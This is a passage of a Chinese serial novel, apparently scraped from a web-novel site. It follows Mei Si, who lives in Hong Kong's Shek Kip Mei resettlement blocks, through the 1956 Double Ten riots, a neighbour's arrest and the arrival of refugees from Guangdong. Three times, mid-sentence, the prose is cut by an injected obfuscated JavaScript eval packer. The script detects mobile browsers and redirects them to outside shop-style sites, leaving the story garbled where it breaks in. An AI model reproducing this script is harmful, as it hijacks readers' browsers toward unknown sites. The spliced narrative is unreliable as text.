三天之后,便是十月十号,这一天早上,梅思看着日历,暗暗叹一口气,每年这个时候,总有一些风波,不知今年会如何。 要说这一日,原本是中华民国的国庆日,倘若在民国,是叫做“双十节”的,但如今无论是大陆还是香港,都只是十月里寻常的第十天,说起来每年的这一天,看到街头飘扬的青天白日旗,还是颇有些刺眼,自来香港,每年十月十号,梅思总觉得有点受刺激。 傍晚八点多,梅思回到石硖尾,煮了一点宵夜来吃,然后便去淋浴间洗了澡,好容易把当天余下的闲事做完,再看时间,已经将近十点。 梅思手里拿了一柄梳子,正在慢慢地梳头,忽然间外面一阵吵闹,梅思登时便是一皱眉:“这么晚了,谁这样大声?” 让人家还要不要休息?已经累得很了,本想着再看几页闲书,等头发干爽些就躺倒睡了的。 苏凤香“噗”地一下便扑靠在窗前,向外望几眼,想来是没看清什么,索性披了衣服,奔出门上天台去望,宝庆便过去接了她的位置,伸手便要开纱窗,招娣忙拉扯住他:“别开窗,有蚊子!” 梅思慢慢地走过去,脸贴近窗户看着,渐渐地看到一些人聚集在楼下,许多手电筒的光柱彼此交错,形成一道网,一个男人高声叫着:“打起旗子来!” 一听到这个声音,梅思便微微一皱眉,是阚德龙,混□□的,十四K,已经做到了红棍,远大前程是双花红棍。 她使劲往下面瞧,瞪得眼睛都有点生疼,看到他们打起的旗,果不其然,青天白日旗,梅思的眉头便皱得更紧,这些人为什么参与到这件事里面来?只怕会有大乱。 梅思便在那窗前,看着下面一群男人闹哄哄汇在一起,虽然距离几十米,可是那声音给残余的暑气托举升腾,冲得人头昏脑涨,阚德龙吆喝站队,黑压压一片,纵然距离远,也感到杀气腾腾,十几分钟之后,大约是人手都齐了,阚德龙一声大喊:“走!” 队伍便行动起来,打着旗帜沿道路蜂拥而去。 那一群人去得远了,苏凤香便也回来:“啊呀,还拿着石头哟!这是要砸谁?” 梅思点了点头:“我也看到了,只怕要伤人。” 宝庆蹦跳着拍手:“打哟!打哟!” 苏凤香一巴掌拍在他的脑瓜上:“看把你快活得,你当是过年哩!倘若闹得厉害,惊动差佬,要封路,我拿不到工钱,没钱买米,看你饿肚皮。” 宝庆嘻嘻地笑,满不在意。 梅思略带忧郁地说:“我也是担忧这个。” 这一晚,外间果然喧嚷得要命,到十一点多,纵然躺在床上,梅思也睡不安,到次日早上,周围总算安静下来,苏凤香咬着牙出去做工,梅思想了想,终究也走了出去,却走到一半便回来了,十点多回到楼中,拿钥匙开了门,房间里静悄悄,招娣姐弟三个都去了天台上的学校去上课,梅思不由得便吁了一口气,真清净,谁知这一日不得已的停工,居然比过年还舒服。 她洗了一把脸,便取出一本书来读,不多时临近中午,梅思出到走廊里生火做饭,打发几个人的午饭,下午那三个孩子依然要去天台自习,梅思反锁了门,只作睡午觉,旁人都不晓得她做了些什么,却也不敢隐遁太久,到三点多,便开了门。 到了傍晚,苏凤香终于回来,进了门气喘吁吁:“真要气死了,过路竟然要国民党的旗子哦,阿拉哪里有,便要阿拉拿钱出来买,五角钱一只哦,阿拉在工厂里辛辛苦苦一天,都赚不到这个钱,好在碰见了林鹃,伊有旗子,说阿拉一起的,才得过去,阿拉还在发愁晚上要怎样回来,好在方才路过那里,没见到有人拦路了。这帮瘪三,不干好事,专门麻烦人。” 梅思点了点头:“所以我今天便没有去报馆。” 走到半路,遇见□□拦路要旗,自己当然是没有旗,但也不肯买旗,不仅是因为钱的问题,所以只好不去了。 然后梅思说:“但愿明天能平息下来。” 苏凤香冷笑:“只怕未必。” 梅思也觉得渺茫,只得笑道:“快吃饭吧,我们都已经吃过了,葱油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅思想了一想:“你的三个孩子都很聪明的,等她们长大了,你一定过得舒心。” 苏凤香叹道:“我倒是巴望着能这样,你看看薛家的大囡囡,那小姑娘做工赚来的钱,也能贴补家用,她家里很需要她这一笔钱。我家的这三个,招娣和来娣都还懂事,招娣肯坐下来念书,来娣虽然读书慢一些,淘米洗菜都行,也已经能拿针线了,唯独宝庆,整天就只知道淘气,我今天说他两句,他就和我斗嘴,真是枉费了你替他看功课的一片心了。” 自己要宝庆好好读书,仿效梅思,成为有知识的人,倒并不是因为当着梅思的面,刻意说好听的话,自己这一点傲气还是有的,生平不愿意弯腰给人赔笑脸,自己是真的希望能够如此。 同住两年多,苏凤香已经看明白了梅思,在这石硖尾,倘若说有谁是有希望的,第一个她便要举出梅思,读过书的人啊,毕竟是不一样,懂得许多的事情,比如说那股票,别人都不晓得要买,她却能去买。 自己也曾经问过她:“赚了钱么?” 起初她总是摇头:“又赔了。” 到今年便笑盈盈:“仿佛好起来了。” 一张脸似乎正因为金钱的缘故,有了点点血色,如同擦了胭脂一般,面若桃花,虽然马上便要擦汗。 于是苏凤香便悟到,有知识的人终究比无知识的人多一点办法,别看梅思手脚不是顶利落,梅思做起家事来那可真是,不要说比不得上海娘姨,精明能干是出了名的,即使是一般上海弄堂里的女子,那种敏捷灵巧也在她之上,梅思只是能做,另外喜欢干净,可是梅思的眼界与人不同,比如说如今,大家都住这简陋的徙置楼,唯独她能够想到要去买股票,这便是她的特别。 梅思笑着谦逊了两句,这时候面煮好了,梅思把面挑进碗里,正要进入房中,隔壁房门一开,鄂林鹃拿了几面旗子出来,两步来到这边,把两面旗塞给苏凤香:“凤香姐,梅小姐,这旗子你们收起来,明天只怕还要用到。” 苏凤香笑着说:“多谢。” 林鹃喜滋滋地又说今天的事:“……欺负我们……大大地闹了一场,知道我们的厉害……今天在工厂里,大家唱国歌,工头的脸都青了……” 梅思把热面在凉水里过了一遍,转头望向兴致正高的林鹃,慢慢地说:“林鹃,政治可能不是女人的事。” 67.第六十七章 暴乱时期的伙食——梅子葱油面 第六十七章 暴乱时期的伙食——梅子葱油面 小桌边,苏凤香吃着面,要说梅小姐啊,虽然做家事不是顶厉害,不过也有她的独到,就是爱精致,有时候会在本子上画画,招娣这两个月开始和她学画,如今已经能够画荷花,想来就是这个为了爱画,梅小姐烧小菜便也与人有些分别,总喜欢摆弄个新鲜样子出来。 就比如今天的这个葱油面,加葱加鸡蛋都不稀奇,难得她还加了两颗梅子在里面,于是立刻便不同了,这一碗面,翠绿的葱花,黄绿色的酸黄瓜,剖开两半的煮蛋,雪白的蛋白,黄澄澄的蛋黄,再有两颗腌梅子,黄里带红的颜色,不是顶鲜亮,与小香葱不能比,但毕竟也是增添了色泽,这些东西都铺在酱油色的面上,花花绿绿,好像画一般。 寻常的人哪想到要在葱油面里加梅子呢?况且滋味果然也特别,咸咸酸酸的,仔细回味,还另有一种清甜,这一碗葱油面,可不比寻常呢,配料着实用心。 “梅小姐,侬煮面真好看,还放梅子,阿拉忽然想起来,好像日本人吃米饭,上面放梅子哦,亏了她们能耐酸,几粒梅干就能下饭,她们的那个梅干配饭,好像日本旗。” 当年日本占领上海,后来居然进入了租界,对于日本人,大家是不想看也得看,便看到了她们的梅干白饭,日本顺风顺水的时候,自然是不这样吃,到后来渐渐困窘了,便一粒梅子下饭。 梅思哑然失笑,凤香对上海生涯,着实念念不忘,日本人的梅子饭她也看到了,堪称“见多识广”。 苏凤香用筷子破开半个煮蛋,夹了蛋白送进嘴里,一边嚼着一边说:“梅小姐,侬何必那样心眼实?林鹃拿旗子给阿拉,毕竟是好意,侬又不是不晓得伊家里,何必和伊说那句话?” 什么“政治不关女人的事”,任谁都听得出,是不愿意林鹃对国民党太热心,然而那怎么能够呢?林鹃的父亲是国民政府的人啊,到现在还怀念着台湾的蒋总统,她母亲瞿明是国民党妇女部的,夫妻两个都信奉三民主义,每到十月十号,高唱昔日的国歌,“三民主义,吾党所宗,以建民国,以进大同”,这样的家风熏陶,林鹃自然也是信徒,看到国民党的旗子就激动,“青天白日满地红”,趁着这个时机来推介,也真是难为她一番苦心,只不过毕竟对自己也有些好处,明天出门再不怕有人拦路要旗。 所以梅小姐何苦多说那么一句?没看当时林鹃的脸色就沉了下来,僵硬地说了两句,转身就走,她那几句话的大意是,国家兴亡,匹夫匹妇都有责任,身为女子,对国民政府也是负有责任的。 见梅思默默不语,苏凤香笑道:“阿拉晓得,侬也是好心,怕林鹃年轻热血吃了亏,只是伊正在兴头上,你的话哪里听得进?倒仿佛是小瞧了伊,侬这一说,只怕反而更热心了。” 梅思笑笑:“我也晓得,这便是仿佛《梁山伯与祝英台》。” 就是英国的《罗密欧与朱丽叶》,本来未必如此痴情,只为整个世界都反对,便不顾一切,仿效飞蛾扑火。 梅思转而又叹:“真的是风水轮流转。” 当初哪能够想到现在呢?许多年前自己年少的时候,也是如同林鹃这般,一腔烈火,自家大姐说,“国家大事本来就不是女人的事”,自己很是反感,以为太过迂腐懦弱,不过多年之后再看,或许不是完全没有道理,政治,可能终究是属于男人的。 而现在,对于林鹃而言,自己便如同当年的大姐一般,陈腐退缩吧?年纪不过差了十岁,便是两代人,如今的自己,是作了沙滩上的前浪,林鹃便是正在澎湃激昂的后浪,只不知她今后会变得如何。 正在这样想着,外面有人拍门,是薛大妹,手里拿了一本书,进来便问:“梅姨,这几个字怎样念?” 梅思接过那一册漫画书,上面铅笔圈了几个字,梅思便细细地给她解说:“这个字念做‘誓’,誓言的意思,表达一个人的决心……” 这一晚便这样过去,到第二天十二号,外边依然是乱,无线电里面说,整个九龙都戒严,公共交通全停止,连小渡轮都停了,苏凤香唉声叹气,不能再出去工厂:“要到早上十点哦,也不知十点之后可不可以上街去?” 梅思从窗户向外望着:“只怕难说呢。” 苏凤香拍着大腿:“倘若停工一天,要扣钱。不如我还是出去吧,新蒲岗好在不很远,虽然没得车坐,走路也能到,总不会不让人走路。” 梅思转头道:“方才不是听见说,昨天晚上有流氓侮辱女护士?” 新闻里刚说的,暴乱的人伤害了工人医疗所的助理护士。 苏凤香于是脖子后面一凉,不由自主缩了缩头,啐了一口:“真不要脸,这帮该剐的瘪三!” 于是便不敢出去。 这时候听到走廊里有人招呼:“林鹃,你今天还出去么?已经戒严了。” “我们今天要抗争,一定要去的。” 梅思靠着窗子轻叹一口气,摇了摇头。 果不其然,这一天上午,戒严延长了,一直到两天之后,十四号上午十点,才解除了戒严,听外面的动静,是稍稍安定了,虽然听说还有人在闹事,只是梅思到这时必得要去报馆了,虽然是礼拜天,本该休息的,但已经几天没有过去,今天一定要去看看,大约总要写几个字凑数的,于是十点整硬着头皮出门,肚内已经打定主意,倘若路上有人要旗,便绕路走,宁可多走些路,不愿屈服。 走在街上,只见到处都是差佬,路旁停着装甲车,有一些房屋墙壁一片焦黑,明显是火烧过的痕迹,虽然恢复了交通,有巴士跑在路上,但是车很少,许久才等到一辆,上面满满的人,梅思到了将近中午才来到报馆,不过好在今日没有遇到拦路,免了糟心。 进入报馆,四面一看,只有方燕茹和童岳坐在那里,此外就是经理贾文庸,其她人的座位都空着,办公间本来就不很大,此时更显得寂寥了。 梅思同经理和同事打了招呼:“好久不见。” 贾文庸呲着牙:“早啊梅小姐,仿佛已经过了几年。” 古人说“一日不见如隔三秋”,从十一号到昨天,整整三天,三三见九,便是九年,一晃差不多十年了,虽然报馆同仁彼此未必那样深情,可是这几天小报的销量啊,那叫一个惨,根本不能印刷卖报,本来便艰难,这一回更赔钱了。 贾文庸摇着头:“这个月的薪水要减,该死的混蛋。” 有要没紧,成天闹事,国民党共产党,和旁人什么相干?搅扰得大家赚不成钱。 方燕茹也表示赞同:“那也是没法子的事,都怪这些三合会、14K。” 童岳道:“那些人的心情我可以理解,只是像这样子追寻主义,实在伤筋动骨,毕竟大家都还要过日子哩。” 梅思:“伤害护士,我是不能表示同情的。” 根本就理解不了,是怎样的政治主张,要做出这种事情来? 童岳马上也点头:“是的,这件事做得太过了,可见是一群暴徒流氓了。” 贾文庸指节敲着桌面:“快想想这一期的版面要怎样排?这样大件事,总不好一句不提的,梅小姐,你便住石硖尾,事情是从那边起来的,你琢磨一下,怎样把它写得有趣些?” 梅思点头答应一声,打开皮包,从里面取出一个小本子,是这几天的笔记,密密麻麻许多字,之前便已料到有此一招,提前打了腹稿,这时候便拿了稿纸,对着本子写了起来,长长短短写了七八段,拿给贾文庸去看,自己则是掏出烧饼,配着茶水吃这迟来的午饭,刚吃了半个饼,贾文庸便在那边叫:“梅小姐!梅小姐!” 梅思忙放下饼,走了过去。 贾文庸指点着纸上:“这几段□□上街,再夸张一点,要往惊悚小说那样去写,这一段闭居公寓,风花雪月一些,要雅致,就好像《闲情偶寄》。” 梅思点点头,回去改稿,反复改了几次,贾文庸终于满意,乐呵呵用指甲弹着页面:“很好,太太们会喜欢看的。啊方小姐,阿岳,你们的稿子改好了没有?拿来我看,这一阵真麻烦,明星都没有什么事端出来,只好写一写街坊花边。” 于是第二天十月十五号,礼拜一出了礼拜天的迟来版,头版便是梅思的《石硖尾双十惊魂记》,□□在楼门前聚集,远处火光冲天,俨然便是兵荒马乱,文笔相当活泼,措辞很是刺激,简直如同凶杀探案的故事,读者传观,极是出彩,之后便是写到外间混乱,不便出门,几日没有买菜,变着法子将腌菜精细料理,黄瓜茄子咸酸梅,老绿色的梅干菜,大段的食谱。 因为外间还不是很平静,十五号下午便早早下班,梅思五点多回到石硖尾,进门不多时便有人敲门,开门一看,是瞿明,眼圈和鼻尖都红红的,张口便道:“梅小姐,拜托你,可不可以帮忙去一下警署?” 梅思登时吃惊:“瞿太太,怎么了?” 瞿明哽咽道:“林鹃给差佬捉了去,说她纵火,天啊,林鹃不过是和人一起去唱唱国歌,她怎么会放火呢?梅小姐,你也是知道她的,虽然有信仰,但不会做杀人放火的事。可恨那些人,全不说理的,根本没有证据,先把人关起来再说,怎么会这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14608276|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样……” 梅思念头一转,前一天刚出了条例,非常时期非常之法,不用审理先拘押,林鹃这一次分外活跃,便给警方盯住了。 于是梅思连晚饭都顾不得吃,背了皮包便与瞿明一起出去,到警署递上名片,当值的警察接过来一看:“哦呀,梅小姐,你是记者啊!” 梅思含笑道:“是的,《星都》报,阿Sir看过吗?” 对方笑道:“我不看,我老婆看。既然是这样,我让你们见一见鄂林鹃。真是的,年纪轻轻的姑娘,何苦搅进这种是非?” 过不多时,两个人见到了林鹃,林鹃一张脸雪白雪白,没有血色,不过一天不见,下颏仿佛都尖了,瞿明一把抱住女儿,哭道:“林鹃啊,你怎么受这样的冤枉?不要急,你爸爸正在奔走,为你筹保释的钱。” 林鹃扬着头:“妈,你们不要担心,我什么都没有做,他们要审判,就审判好了,历史会还我的清白。” 梅思暗暗叹一口气,历史啊历史,要判断的事情可真不少呢,谁是正义的,谁是清白的,都要历史来证明,历史真的很忙。 直到深夜,梅思才回到房间,也顾不得洗澡,囫囵躺下迷糊了一阵,第二日早上将近七点才爬起来,苏凤香给她端来一碗炒饭:“快吃了去报馆吧,碗就先搁着,招娣下课回来洗,我先走了,不等你了。” 梅思道了一声“多谢”,苏凤香临去回头,鞋底蹭着门槛子,手扶着门补了一句:“三楼薛叔也给差佬带走了。” 梅思只觉得又是一阵头痛:“怎么连他也给抓了去?” 苏凤香本想再说几句自己的想法,然而时间实在来不及了,只说得一句“真乱”,咽下一肚子话,关了门快步走了。 梅思三口两口吃了早饭,又去报馆,到今天,外边仿佛又安静了一些,天上已经很少见到侦查的飞机。 这一场动荡,余波许久才平息,到了十一月十八号,礼拜天,天气凉爽,梅思去看白明珠和东妹,到了官塘邹公馆,一进门,白明珠和东妹便一左一右拉住她: “阿弥陀佛!” “谢天谢地!” 在客厅沙发坐下来,白明珠一叠声地说着:“可是吓死人了,好像共军来了香港,我如今是知道了,但凡造反作乱的人,都令人怕,无论哪边都是一样。” 东妹道:“都不敢出门买菜,吃了几天的干菜,太太说万料不到,英国人的地方也会这样乱,今后要在园子里种菜。” 梅思笑道:“不如再养两只鸡?” 白明珠一摇头:“味道太大,况且也麻烦。倘若是在乡下,近边就是水塘,养几只鸭子倒好,早上放出去,晚上赶回来,它们自己觅食,我们只等吃蛋。” 既然说到家计,白明珠立时便想起:“啊哟梅小姐,你那一篇文章可真好看,事变初起,你正在石硖尾,可是看了好一场热闹,仿佛电影一般,也亏了你镇定,那种情形也有心,料理茄瓜梅子。我看你的那篇亲历记,前半段让人头发根都要竖起来,后面便让人松一口气,有趣得很,我专把那几段读了两三遍,谁能想到厨房里也有这样的兴味?你文笔真好。” 白明珠啧啧称赞,梅思却不知怎么想到新月派,鲁迅先生一直为之耿耿于怀,性灵啦,情趣啦,纯美啦。 午饭之后喝茶时,邹千里从外面回来,进门一看到梅思,便道:“梅小姐,你可知道黄老爷的事么?” 梅思略一点头:“在小报上看到了。” 白明珠连使眼色,又打岔:“达令,我们方才正在说,梅小姐那楼里有人给抓了,一个说是放火,一个得了个‘怀藏军火’的罪名,好在两个人前些时都给放了出来。” 鄂林鹃比较幸运,不过一个礼拜,便回了家,只是就此给工厂辞退,如今失业在家;薛荣发则是给拘押了十四天还嫌不够,又延迟了十四天,查证确实没有私藏枪械,然而他参与打砸,便要罚款,缴了罚款之后,才放回家中。 邹千里一摆手:“那是确有其事,我方才在桂廷那里得了切实的消息,黄老先生差一点给送进老人院,他从里面挣扎出来,去了法庭,之前为了暴动的事,暂时放在一边,现在平静了,官司又要重新开打。如今也真是可怜,大少爷得罪了□□,逃去新加坡,大少奶奶带了孩子去投澳门娘家,只剩下他一个八旬老翁,落到姨太太和奸夫手里讨生活,他虽然算不得广西的豪强,当年也曾风光过,迟暮之年却如此落魄。” 梅思心中一阵翻腾,面上却不显露,只是淡淡地说:“人世变化太大,从前强盛的时候,哪能想到后来呢?” 68.第六十八章 归英曼演说女儿国 第六十八章 归英曼演说女儿国 很快这一年便结束,挂在墙上的新日历已经是一九五七年。 七月七号礼拜天恰是小暑,本来七月里天气便是酷热,这一日仿佛是为了不辜负节气,更加闷热了,贺健莲扇着扇子望着窗外:“到底什么时候会有台风?” 梅思手里拿着笔,正在本子上计算着:“健莲姐,从四月到现在,又赚了一块七毛五分,你要把股息取出来么?” 贺健莲手中的扇子往桌面上一扑:“不拿,都放在里面生利钱。” 梅思点点头:“那么到如今便是一百零六块三毛二分。” 贺健莲盯着那本子上的阿拉伯数字,又是憧憬又是惋惜:“可惜我们本钱不厚,否则早该赚个三十块五十块。” 梅思手里捏着铅笔笑道:“积少成多,慢慢来,天长日久,也是不很小的一笔数目。” 贺健莲咧嘴笑道:“你说得对,你等等,再帮我添二十块钱!” 就在这时候,忽然楼道里一阵喧嚷: “阿春婆,你家的亲戚来了?” “从‘那边’过来的么?瞧这瘦得哦!” 二妮是顶爱看热闹的,听到外面这样嚷,登时丢下铅笔,从屋子另一角嗖地一下站起来,三两步跑到门口,开了门便跑了出去,贺健莲在后面骂道:“跑什么?有鬼招了你的魂儿去了?功课做完了么?” 二妮答话的尾巴远远飘来:“回来就做!” 见她跑得没了影子,贺健莲回头和梅思抱怨:“这丫头,哪儿有事哪儿就有她,我刚让她做算术题,这一听到有动静,题都不做了,就往外跑。一个姑娘家,这么不稳重,也不小了呢,都九岁了,还这么疯疯张张的,将来可怎么说婆家?可说前两天也听阿春婆讲,那边过不得日子,商量着要让亲戚过来呢,现在可真就来了,也不知是几个人呢,她那里能不能住得下。” 梅思笑道:“等一下二妮回来,便全都知道了,这小姑娘顶能打听事,还都记得清清楚楚的,等闲不会报错。她若是爱这个,将来和我学速记,也去报馆做事吧。” 贺健莲本来对女儿很有些不以为然,一听梅思说这句话,便乐起来:“也得她能像你这么有学问才行啊,否则对着那白纸,都写不出字来。” 两个人又聊股票,过了大约二十分钟,二妮跑了进来,站在门口睁大了圆溜溜的眼睛,又脆又快地说道:“梅大姨,妈,阿春婆的孙外甥来了,还有他的爹和姐姐,阿春婆屋子里现在可热闹呢,大家都去看,她的那个孙外甥可有意思呢,白面书生,进门就说要帮忙烧午饭,阿春婆忙忙地便去外面煮粥。” 贺健莲噗嗤笑出来,伸出扇子遥遥地拍打:“你个小妮子,知道什么叫‘白面书生’?” 二妮马上便应道:“薛伯伯讲三国,诸葛亮白面书生。” 贺健莲乐道:“这么一说,阿春婆的那个孙外甥倒还是能掐会算的。亲戚既然来了,咱们少不得去看看,她梅姨,我这里有两个馒头,就带了过去,我们一起去瞧瞧。” 一听说是从“那边”过来的,梅思登时也无心再计算股息,将本子和笔收起来,便同贺健莲一齐上了七楼,走近阿春婆门前,果然几步路远就听到里面喧哗的人声: “怎么过来的?” “共产党还阻拦么?” “你们可受苦了。” 贺健莲当先踏入门去,进门便叫:“阿春婆,家里人来了么?我们来看看,这里刚好两个馒头,配着粥吃吧。” 梅思紧随其后,展眼一望,阿春婆房里三个生人,从前未见过的,衣衫破破烂烂,干瘦干瘦,脸颊都凹了进去,显得那嘴和鼻尖便锐利了。 苏凤香正坐在凳子上,听了这话忙道:“刚冲了油茶面,正好配馒头来吃,有干有稀的。” 临时煮粥哪里来得及?方才苏凤香出门探看情形,一见阿春婆要开火煮粥,立刻就说:“我家有油茶面,开水一冲就可以吃了。” 于是回屋去拿了半包油茶面过来,各人冲了一碗,正在那里喝着,此时又有馒头,更瓷实了,那一个年近三十的女子,想来是孙外甥的姐姐,接过馒头来,死盯着吞了一下口水,然后一手一个,分给了两个男人。 或许大凡女子的口齿总比男子便给些,家中两个男子闷头吃饭,那女子便喝一口油茶面,抬起头来和众人说几句话:“……硬要人家入社,猪啦羊啦都牵走了,又搞什么‘整社’,成天开会,斗争人……青黄不接啊,冒得食饿到死……清远韶关还发大水,都涌到我们这边来,可也都没有饭吃……” 阿春婆小小的屋子里,此时已经塞进二十几个人,同楼邻居还在不住涌来,门口都已经簇满了人,挤挤挨挨,探头向里面望着,伴随着孙外甥女的诉说,四周浮腾起一片嗟呀。 因为人实在太多,房里极其闷热,梅思过不多时便耐不住,从里面挤了出来,回到自己的屋子,到这时也好该料理午饭,便烧起风炉,煮了面来吃,不多时,苏凤香也回来,匆匆烹调了饭菜,打发一家四口的饭食,一边夹着小菜送到嘴里,一边说着:“幸好阿拉出来得早,否则留在那边,弄到要讨饭了。” 这一阵报纸上整天在说呢,“粤北□□,数万难民南逃边境”,“□□政权料难维持”,配了大幅的照片,灾民端着破了口的饭碗,在街头成群要饭,鄂维义礼拜天擎着报纸,兴高采烈地在说呢,逢人就给人家看那照片。 梅思无言,出去洗碗。 阿春婆家中的盛会直到午后将近两点,这才逐渐散去,梅思是有些倦了,想要休息,苏凤香心有不足,过去隔壁拉了孙外甥女过来谈天: “阿姐叫什么名字?” “我娘家姓归,我叫做英曼,我弟弟叫玉树,我阿爸的名字就不好说了,一个波涛的涛字。” 梅思在一旁用心记住。 然后便说起这一次的逃难:“就在前两天,大家都在传着‘大放河口’,可以随便过来香港了,就在宝安那边,边防军秘密引路出去,我便去找我阿爸和弟弟,离了福田去宝安,一大群人晚上冲垮了铁丝网,就到这边来了,幸亏好早就晓得姨婆在这里,早前托人通过信,到了香港便直奔这边,否则今晚也不知要睡在哪里呢。” 苏凤香听得心满意足,倒了一碗开水给她:“英曼啊,你快说说,共产党是怎么拦着不让过来的?” 归英曼搜肠刮肚继续说:“有警犬哦,有铁丝网哦,但凡靠近了,便是‘叛国投敌’哦,就说这一次,大家都说大放河口,路上也担惊受怕,就怕解放军看见了开枪哦……” 梅思叹一口气,开了柜门,拿出两枚鸭蛋,到外面煮熟了,剥皮切开,往上面淋了一点酱油,送进来给归英曼:“尝一尝这鸭蛋。” 归英曼先往门口看,见门已经关了,这才拿起筷子道谢:“小姐多谢你。” 梅思笑一笑:“不必客气,今后是邻居,常来往。” 苏凤香抿嘴笑道:“她姓梅,你叫她梅小姐便好。” 归英曼忙道:“原来是梅小姐,仿佛方才是听见过的,这么多人一时记不住,都是待人很好的。” 对逃难而来的一家人特别热情。 然后三口两口便吞鸭蛋。 见她仿佛还饿得很,苏凤香便拿了午饭剩下的一块萝卜丝饼给她。 似乎是为了回报这一饼双蛋,归英曼吃过了下午的茶点,抹了抹嘴,倾囊倒箧地想尽了话来说,约莫又说了将近一个钟头,梅思见她实在有些累了,转头去看苏凤香,听了这么久,兴头也有些落了下去,便笑着道:“英曼一路辛苦,快回去歇歇,改天再说。” 苏凤香:“是啊是啊。” 归英曼这便回去了姨婆那边。 两个人送她出门口,回来关上自家房门,苏凤香的兴致虽然不像起初那样盎然,仍然颇感回味,津津有味地说:“梅小姐,幸好侬不在那边,否则侬有无线电,倘若听了香港这边的电台,便是‘偷听敌台’,要给抓去公安的。” 梅思一笑:“那便只好小心些。阿春婆家中一下多了三个人,米可能有些紧。” 苏凤香撇了撇嘴,又说:“阿拉还当归家大阿姐真的老实,生怕她方才一个贤良,要把两个蛋都拿回去给她爷老头子和弟弟吃,哪知她方才眼都不眨一下,全吃光了,顺嘴流汁。” 梅小姐想来方才急了些,那鸭蛋没全煮熟,蛋黄是半生的,一个不留神,汤汁就流出来。 梅思笑道:“很灵活的一个人。” 信仰不是很彻底,却自有她的可爱。 归家三个人投来,阿春婆家中本来便有七个人,这一下十个人挤在那小小的房间,住处立刻紧张,归英曼便忙着寻找她的丈夫,她的男人在四月里已经逃来香港,只是当时并不晓得阿春婆住在哪里,这也算是“海外关系”,所以虽然两年前通上了信,她娘家却只和她说没有,生怕走漏消息给“斗争”,因此她丈夫偷渡来港岛,如今不知在何处。 归英曼在外面四处贴告示找人,又嘱托同乡帮忙,归来和梅思说:“惨哦,夫妻分散,当时为了公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624249|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆要有人照应,我走不得,只得他独个走了,到后来实在熬不得,我把公婆托给了他兄弟,我自己走了,也是不舍,可是又有什么法子?这还是万幸没有孩子,否则往哪里安顿?” 梅思轻轻点头,青壮男子走的走逃的逃,归英曼那村子里,留下来的多是老弱妇孺,拾柴种田都是靠妇女。 等她走了,梅思对苏凤香道:“倒如同《西游记》里的‘女儿国’。” 苏凤香一撇嘴:“倒是好么,但凡有事,男人先跑了,丢下女人在家苦熬,又要带孩子,又要伺候老人,只女人跑不成。” 招娣声音朗朗地在那里背诵:“‘怒发冲冠,凭栏处、潇潇雨歇’……” 梅思眉心微微蹙起:“只是当真遇到了民族兴亡,他们也得挡在前面,男子虽不是任何时候都英勇,这件事却也多亏他们。” 苏凤香把脖颈一扭,很有些不服气:“谁说女人不行的?花木兰替父从军,千古留名。” 梅思笑一笑没有再说,纵然有心要强,保家卫国仍是男人出力多,女子与他们争不得,当年在延安,妇女解放那样轰轰烈烈,部队里的作战员主要依然是男性。 就这样过了半个月,归英曼终于找到了丈夫,搬了出去,于是阿春婆这边便减了一个人,然而仍有九口,实在挤不下,上下铺都睡不开,便只好入乡随俗,用了石硖尾的法子,勉强栖身。 十月里这一个夜晚,梅思端着洗面盆,从洗澡间回来,进了门放下盆,对苏凤香道:“外面好窄的路。” 一到夜晚,临时的板床都搭起来了,自从七月里,更是又加多了两张。 苏凤香蹙眉:“可不么,要给宝庆搭铺都为难。” 宝庆也不小了,今年九岁,不好和母亲姐姐混着在这房里睡,苏凤香便给他在楼道里搭铺,晚上赶他到外面去。 梅思道:“他们一直找不到房,要搬出去也为难。” 苏凤香“哼”了一声:“在这边找房,自然是难,我们也是好不容易搬上楼的呢,他们如今好歹有个住的地方,将就睡吧,只是那饭碗可该赶快找了,归阿叔倒已经有了事做,只是归生一直晃荡着,却是为什么呢?” 梅思笑着说:“他是读过书的人,不好随便找工的,前些时阿春婆托我帮看看,有没有报馆要人,我还没有头绪,每次他与我打招呼,我都不知该怎样回他。” 今晚从报馆回来,路遇归玉树,对方在铺上很礼貌地欠身问好:“梅小姐,你回来了。” 自己登时便想到他家姨婆托自己的事情,颇有些尴尬地说:“归先生,读书还是这样勤奋。” 可惜报馆最近不缺人手,自己入行虽已有几年,也认识一些人,只是这一行的差事,却也不是说找便能找的。 归玉树苦笑一声,把封皮冲她亮了一下:“不过打发时间罢了,如今还有什么可做呢?” 梅思一看那书名,《罗亭》,屠格涅夫的小说。 苏凤香冷笑一声:“他还想当他的大少爷呢?既来了香港,就过香港的日子,都得靠两手两脚吃饭,读过书的又怎样?梅小姐侬也知书识字的,就不像他,很能负辛苦的,好像阿拉上海娘姨一样。” 